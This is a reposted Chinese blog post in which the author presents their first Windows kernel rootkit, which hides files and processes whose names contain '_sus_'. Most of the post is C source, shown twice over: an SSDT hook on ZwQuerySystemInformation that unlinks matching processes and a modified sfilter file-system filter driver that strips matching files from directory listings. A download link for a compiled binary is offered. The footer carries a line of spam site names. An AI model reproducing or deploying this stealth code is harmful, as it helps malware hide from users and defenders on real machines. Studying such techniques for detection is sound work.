S.l.e!ep.￠%

像打了激速一樣，以四倍的速度運轉(zhuǎn)，開心的工作
簡單、開放、平等的公司文化；尊重個性、自由與個人價值；

posts - 1098, comments - 335, trackbacks - 0, articles - 1

我寫的第一個rootkit--隱藏文件和進程

Posted on 2009-10-24 20:49 S.l.e!ep.￠% 閱讀(1015) 評論(0) 編輯收藏引用所屬分類: Windows WDM

我寫的第一個rootkit--隱藏文件和進程[ 2007-10-02 16:41:07 | 作者: dklkt ]
字號: 大 | 中 | 小
十一前寫的,這兩天比較忙,所以現(xiàn)在才發(fā)上來.

??? 下面是本程序的用法:view plaincopy to clipboardprint?
=================================================================??
This is SUS's rootkit. It can hide files and processes??
?? when their names include "_sus_".??
=================================================================??
Written by dklkt.? 2007.9??
Notice that it can't run automaticly after the computer reboot!??
?
Usage: sushide2003 [-start]???????????? Install and start the SUS's rootkit.??
?????? sushide2003? -uninstall????????? Uninstall the rootkit.??
-----------------------------------------------------------------?

=================================================================
This is SUS's rootkit. It can hide files and processes
?? when their names include "_sus_".
=================================================================
Written by dklkt.? 2007.9
Notice that it can't run automaticly after the computer reboot!

Usage: sushide2003 [-start]???????????? Install and start the SUS's rootkit.
?????? sushide2003? -uninstall????????? Uninstall the rootkit.
-----------------------------------------------------------------??? 直接運行,或者加參數(shù)-start運行,都是安裝并開始rootkit.而加參數(shù)-uninstall則是停掉并移除

rootkt.

??? 這個程序的功能是隱藏所有文件名中含有_sus_的文件,并且也在進程中隱藏它們.

??? 下面說說具體的功能實現(xiàn):

??? 1.隱藏進程.

?????? 隱藏進程的實現(xiàn)用的是SSDT鉤子技術(shù). SSDT是System Service Dispatch Table(系統(tǒng)服務(wù)調(diào)度表

).該表可以基于系統(tǒng)調(diào)用病好進行索引,以便定位函數(shù)的內(nèi)存地址. 再說說windows操作系統(tǒng), 有個叫

ZwQuerySystemInformation的函數(shù), Taskmgr.exe通過該函數(shù)獲取系統(tǒng)上的進程列表. 我們通過將

NtQuerySystemInformation函數(shù)放到SSDT中, 然后在原函數(shù)返回的結(jié)果上進行過濾,就可以達到隱藏進程

的目的.
???? 這個是新寫的ZwQuerySystemInformation函數(shù):view plaincopy to clipboardprint?
NTSTATUS NewZwQuerySystemInformation(??
??????????? IN ULONG SystemInformationClass,??
??????????? IN PVOID SystemInformation,??
??????????? IN ULONG SystemInformationLength,??
??????????? OUT PULONG ReturnLength)??
{??
?
?? NTSTATUS ntStatus;??
?
?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (??
????????? SystemInformationClass,??
????????? SystemInformation,??
????????? SystemInformationLength,??
????????? ReturnLength );??
?
?? if( NT_SUCCESS(ntStatus))???
?? {??
????? // Asking for a file and directory listing??
????? if(SystemInformationClass == 5)??
????? {??
?????? // This is a query for the process list.??
????????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)??
?
SystemInformation;??
???????? struct _SYSTEM_PROCESSES *prev = NULL;??
???????
???? while(curr)??
???? {??
??????????? //DbgPrint("Current item is %x\n", curr);??
????? if (curr->ProcessName.Buffer != NULL)??
????? {??
??????? if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),???
?
L"_sus_") )??? //進程名中包含_sus_則隱藏??
??????? {??
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;??
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;??
?
????????? if(prev) // Middle or Last entry??
????????? {??
??????????? if(curr->NextEntryDelta)??
????????????? prev->NextEntryDelta += curr-??
?
>NextEntryDelta;??
??????????? else? // we are last, so make prev the???
?
end??
????????????? prev->NextEntryDelta = 0;??
????????? }??
????????? else?
????????? {??
??????????? if(curr->NextEntryDelta)??
??????????? {??
????????????? // we are first in the list, so???
?
move it forward??
????????????? (char *)SystemInformation += curr-??
?
>NextEntryDelta;??
??????????? }??
??????????? else // we are the only process!??
????????????? SystemInformation = NULL;??
????????? }??
??????? }??
????? }??
????? else // This is the entry for the Idle process??
????? {??
???????? // Add the kernel and user times of _root_*???
???????? // processes to the Idle process.??
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;??
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;??
?
???????? // Reset the timers for next time we filter??
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;??
????? }??
????? prev = curr;??
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);??
??????? else curr = NULL;??
?????? }??
??? }??
??? else if (SystemInformationClass == 8) // Query for SystemProcessorTimes??
??? {??
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)??
?
SystemInformation;??
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;??
??? }??
?
?? }??
?? return ntStatus;??
}?

NTSTATUS NewZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????? IN PVOID SystemInformation,
??????????? IN ULONG SystemInformationLength,
??????????? OUT PULONG ReturnLength)
{

?? NTSTATUS ntStatus;

?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
????????? SystemInformationClass,
????????? SystemInformation,
????????? SystemInformationLength,
????????? ReturnLength );

?? if( NT_SUCCESS(ntStatus))
?? {
????? // Asking for a file and directory listing
????? if(SystemInformationClass == 5)
????? {
?????? // This is a query for the process list.
?????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)

SystemInformation;
???????? struct _SYSTEM_PROCESSES *prev = NULL;
????
???? while(curr)
???? {
??????????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
??????? if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),

L"_sus_") )??? //進程名中包含_sus_則隱藏
??????? {
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

????????? if(prev) // Middle or Last entry
????????? {
??????????? if(curr->NextEntryDelta)
????????????? prev->NextEntryDelta += curr-

>NextEntryDelta;
??????????? else? // we are last, so make prev the

end
????????????? prev->NextEntryDelta = 0;
????????? }
????????? else
????????? {
??????????? if(curr->NextEntryDelta)
??????????? {
????????????? // we are first in the list, so

move it forward
????????????? (char *)SystemInformation += curr-

>NextEntryDelta;
??????????? }
??????????? else // we are the only process!
????????????? SystemInformation = NULL;
????????? }
??????? }
????? }
????? else // This is the entry for the Idle process
????? {
???????? // Add the kernel and user times of _root_*
???????? // processes to the Idle process.
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

???????? // Reset the timers for next time we filter
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
??????? else curr = NULL;
?????? }
??? }
??? else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
??? {
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)

SystemInformation;
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
??? }

?? }
?? return ntStatus;
}??? 2.隱藏文件

????? 本來隱藏文件也可以用鉤子的,但是由于手頭有MS的IFS DDK,所以干脆寫成了文件過濾驅(qū)動.它直

接作用于文件系統(tǒng)驅(qū)動之上, 將其得到的結(jié)果修改后返回上層驅(qū)動. 因為文件過濾驅(qū)動比較復(fù)雜,因此我

這里只是簡單的修改了一下DDK開發(fā)包里提供的sfilter例子.
???? 首先是創(chuàng)建一個處理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================??
NTSTATUS??
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,??
?????????????????? IN PIRP Irp)??
{??
??? NTSTATUS status;??
??? PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);??? //當(dāng)前Irp??
?
(IO_STACK_LOCATION)的參數(shù)??
//??? PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;??
? PSFILTER_DEVICE_EXTENSION? devExt = DeviceObject->DeviceExtension;??
??? PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;??
??? KEVENT waitEvent;??
??? //UNICODE_STRING path;??
?
??? ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));??
?
??? if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)??
??? {??
??????? goto SkipHandle;??
??? }??
??? if (Irp->RequestorMode == KernelMode)??
??? {??
??????? goto SkipHandle;??
??? }??
? if (KeGetCurrentIrql() != PASSIVE_LEVEL )??
? {??
??? goto SkipHandle;??
? }??
? /*?
??? if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-?
?
>FileInformationClass)??
??? {?????
??????? goto SkipHandle;?
??? }*/?
? if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=???
?
FileBothDirectoryInformation)??
? {??
??? goto SkipHandle;??
? }??
??? //設(shè)置完成回調(diào)函數(shù)??
??? KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);??
??? IoCopyCurrentIrpStackLocationToNext(Irp);??
??? //IoSetCompletionRoutine??
?
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);??
??? IoSetCompletionRoutine(??????
??????????????????????????? Irp,??
??????????????????????????? DirControlCompletion,??????? //CompletionRoutine??
??????????????????????????? &waitEvent,??????????????????? //context parameter??
??????????????????????????? TRUE,??
??????????????????????????? TRUE,??
??????????????????????????? TRUE??
??????????????????????????? );??
?
??? status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);??
??? if (STATUS_PENDING == status)??
??? {??
??????? //等待完成??
??????? status = KeWaitForSingleObject(&waitEvent,??
??????????????????????????????????????? Executive,??
??????????????????????????????????????? KernelMode,??
??????????????????????????????????????? FALSE,??
??????????????????????????????????????? NULL??
??????????????????????????????????????? );??
??????? ASSERT(STATUS_SUCCESS == status);??
??? }??
??? if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))???
??? {??????
??????? IoCompleteRequest(Irp, IO_NO_INCREMENT);??
??????? return status;??
??? }??
??? //KdPrint(("Hook Directory.\n"));??
??? //HandleDirectory(Irp->UserBuffer,? &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);??
? HandleDirectory(Irp->UserBuffer,? &(Irp->IoStatus.Information));??
?
??? IoCompleteRequest(Irp, IO_NO_INCREMENT);??
??? return status;??
?
SkipHandle:??
??? IoSkipCurrentIrpStackLocation(Irp);??
??? return IoCallDriver(devExt->AttachedToDeviceObject, Irp);??
}?

//=================================================
NTSTATUS
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,
?????????????????? IN PIRP Irp)
{
??? NTSTATUS status;
??? PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);??? //當(dāng)前Irp

(IO_STACK_LOCATION)的參數(shù)
//??? PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
? PSFILTER_DEVICE_EXTENSION? devExt = DeviceObject->DeviceExtension;
??? PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
??? KEVENT waitEvent;
??? //UNICODE_STRING path;

??? ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));

??? if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
??? {
??????? goto SkipHandle;
??? }
??? if (Irp->RequestorMode == KernelMode)
??? {
??????? goto SkipHandle;
??? }
? if (KeGetCurrentIrql() != PASSIVE_LEVEL )
? {
??? goto SkipHandle;
? }
? /*
??? if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-

>FileInformationClass)
??? {???
??????? goto SkipHandle;
??? }*/
? if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=

FileBothDirectoryInformation)
? {
??? goto SkipHandle;
? }
??? //設(shè)置完成回調(diào)函數(shù)
??? KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
??? IoCopyCurrentIrpStackLocationToNext(Irp);
??? //IoSetCompletionRoutine

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
??? IoSetCompletionRoutine(???
??????????????????????????? Irp,
??????????????????????????? DirControlCompletion,??????? //CompletionRoutine
??????????????????????????? &waitEvent,??????????????????? //context parameter
??????????????????????????? TRUE,
??????????????????????????? TRUE,
??????????????????????????? TRUE
??????????????????????????? );

??? status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
??? if (STATUS_PENDING == status)
??? {
??????? //等待完成
??????? status = KeWaitForSingleObject(&waitEvent,
??????????????????????????????????????? Executive,
??????????????????????????????????????? KernelMode,
??????????????????????????????????????? FALSE,
??????????????????????????????????????? NULL
??????????????????????????????????????? );
??????? ASSERT(STATUS_SUCCESS == status);
??? }
??? if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
??? {???
??????? IoCompleteRequest(Irp, IO_NO_INCREMENT);
??????? return status;
??? }
??? //KdPrint(("Hook Directory.\n"));
??? //HandleDirectory(Irp->UserBuffer,? &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
? HandleDirectory(Irp->UserBuffer,? &(Irp->IoStatus.Information));

??? IoCompleteRequest(Irp, IO_NO_INCREMENT);
??? return status;

SkipHandle:
??? IoSkipCurrentIrpStackLocation(Irp);
??? return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后對返回的結(jié)果進行操作:view plaincopy to clipboardprint?
//-------------------------------------------??
//隱藏文件過濾的函數(shù)??
BOOLEAN?
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)??
{??
? //處理目錄操作??
? PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;??
? PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;??
? ULONG offset = 0;??
? ULONG position = 0;??
? ULONG newLenth = *lpBufLenth;??
//? WCHAR fileName[] = L"Test.txt";??
? do?
? {??
??? offset = currentDirInfo->NextEntryOffset;??
??? if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )??? //文件中包??
?
含_sus_則隱藏??
??? {??
????? //Now We Will Test The FileName??
????? //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-??
?
>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));??
????? if (0 == offset)??
????? {??
??????? //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,???
?
position, newLenth-(*lpBufLenth - position)));??
??????? //Reset Last DirInfo NextEntryOffset To Zero!!!??
??????? if (lastDirInfo)??
??????? {??
????????? lastDirInfo->NextEntryOffset = 0;??
????????? newLenth -= *lpBufLenth - position;??
??????? }??
??????? else?
??????? {??
????????? currentDirInfo->NextEntryOffset = 0;??
????????? *lpBufLenth = 0;??
????????? return TRUE;??
??????? }??
????? }??
????? else?
????? {??
??????? //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,???
?
position));??
??????? RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +???
?
offset, *lpBufLenth - position - offset);??
??????? newLenth -= offset;??
??????? position += offset;??
????? }??
??? }??
??? else?
??? {??
????? //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,???
?
currentDirInfo->FileName));??
????? //Move Next??
????? position += offset;??
????? lastDirInfo = currentDirInfo;??
????? currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)??
?
currentDirInfo + offset);??
??? }??
? } while (0 != offset);??
? *lpBufLenth = newLenth;??
? return TRUE;??
}??
//-------------------------------??
//完成例程??
NTSTATUS??
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)??
{??
? PKEVENT event = Context;??
?
??? UNREFERENCED_PARAMETER( DeviceObject );??
??? UNREFERENCED_PARAMETER( Irp );??
?
??? ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));??
?
? //if (Irp->PendingReturned) IoMarkIrpPending(Irp);??
??? KeSetEvent(event, IO_NO_INCREMENT, FALSE);??
?
??? return STATUS_MORE_PROCESSING_REQUIRED;???
}?

//-------------------------------------------
//隱藏文件過濾的函數(shù)
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
? //處理目錄操作
? PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
? PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
? ULONG offset = 0;
? ULONG position = 0;
? ULONG newLenth = *lpBufLenth;
//? WCHAR fileName[] = L"Test.txt";
? do
? {
??? offset = currentDirInfo->NextEntryOffset;
??? if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )??? //文件中包

含_sus_則隱藏
??? {
????? //Now We Will Test The FileName
????? //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-

>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
????? if (0 == offset)
????? {
??????? //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,

position, newLenth-(*lpBufLenth - position)));
??????? //Reset Last DirInfo NextEntryOffset To Zero!!!
??????? if (lastDirInfo)
??????? {
????????? lastDirInfo->NextEntryOffset = 0;
????????? newLenth -= *lpBufLenth - position;
??????? }
??????? else
??????? {
????????? currentDirInfo->NextEntryOffset = 0;
????????? *lpBufLenth = 0;
????????? return TRUE;
??????? }
????? }
????? else
????? {
??????? //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,

position));
??????? RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +

offset, *lpBufLenth - position - offset);
??????? newLenth -= offset;
??????? position += offset;
????? }
??? }
??? else
??? {
????? //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,

currentDirInfo->FileName));
????? //Move Next
????? position += offset;
????? lastDirInfo = currentDirInfo;
????? currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)

currentDirInfo + offset);
??? }
? } while (0 != offset);
? *lpBufLenth = newLenth;
? return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
? PKEVENT event = Context;

??? UNREFERENCED_PARAMETER( DeviceObject );
??? UNREFERENCED_PARAMETER( Irp );

??? ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));

? //if (Irp->PendingReturned) IoMarkIrpPending(Irp);
??? KeSetEvent(event, IO_NO_INCREMENT, FALSE);

??? return STATUS_MORE_PROCESSING_REQUIRED;
}???? 因為還是初學(xué)rootkit,所以以上代碼并非本人原創(chuàng), 特此聲明. 在此也感謝下作者. 很多地方我也

是正在學(xué)習(xí)中. 目前正在看Greg Hoglund 和James Butler寫的《ROOTKITS--Windows內(nèi)核的安全防護》

。也給大家推薦下。另外，順便提下，本程序中所用到的方法都可以被IceSword檢測到。

??? 附件中是編譯好的程序。編譯環(huán)境win2003，也可在xp中使用。
??? 為了防止惡意使用，程序加了北斗3.7殼。

?點擊下載
[最后修改由 dklkt，于 2008-04-27 20:37:40]
標簽: 原創(chuàng)程序
?評論Feed: http://www.dklkt.cn/feed.asp?q=comment&id=39

本文來源：單克隆抗體's blog???
原文地址：http://www.dklkt.cn/article.asp?id=39

只有注冊用戶登錄后才能發(fā)表評論。
【推薦】100%開源！大型工業(yè)跨平臺軟件C++源碼提供，建模，組態(tài)！

相關(guān)文章: inside windows 【轉(zhuǎn)載】WRK簡單介紹 Understanding IRQL 中斷請求級別(IRQL) 什么是中斷請求(IRQ)? 中斷請求分頁內(nèi)存和非分頁內(nèi)存驅(qū)動中的幾種內(nèi)存分配和釋放的用法 ExInitializeResourceLite() Windows 文件過濾驅(qū)動經(jīng)驗總結(jié)

網(wǎng)站導(dǎo)航: 博客園 IT新聞 BlogJava 博問 Chat2DB 管理

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.￠%

我寫的第一個rootkit--隱藏文件和進程

日歷

公告

常用鏈接

留言簿(5)

隨筆分類(1107)

隨筆檔案(1098)

文章檔案(1)

相冊

收藏夾(3)

DataStruct

搜索

積分與排名

最新評論

閱讀排行榜

評論排行榜